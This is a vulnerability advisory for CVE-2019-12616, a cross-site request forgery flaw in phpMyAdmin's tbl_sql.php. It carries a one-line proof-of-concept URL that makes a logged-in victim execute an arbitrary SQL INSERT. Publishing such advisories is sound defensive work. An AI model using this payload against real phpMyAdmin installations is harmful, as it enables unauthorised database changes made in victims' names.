#VU18679 Cross-site request forgery in phpMyAdmin - CVE-2019-12616

 

#VU18679 Cross-site request forgery in phpMyAdmin - CVE-2019-12616

Published: June 5, 2019 / Updated: June 17, 2021


Vulnerability identifier: #VU18679
Vulnerability risk: Medium
CVSSv4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/U:Green
CVE-ID: CVE-2019-12616
CWE-ID: CWE-352
Exploitation vector: Remote access
Exploit availability: Public exploit is available
Vulnerable software:
phpMyAdmin
Software vendor:
phpMyAdmin

Description

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin in "tbl_sql.php" script. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as execute arbitrary INSERT or DELETE statements.

PoC:

http://[host]/tbl_sql.php?sql_query=INSERT+INTO+%60pma__bookmark%60+(%60id%60%2C+%60dbase%60%2C+%60user%60%2C+%60label%60%2C+%60query%60)+VALUES+(DAYOFWEEK(%27%27)%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27)&show_query=1&db=phpmyadmin&table=pma__bookmark

Remediation

Install update from vendor's website.

External links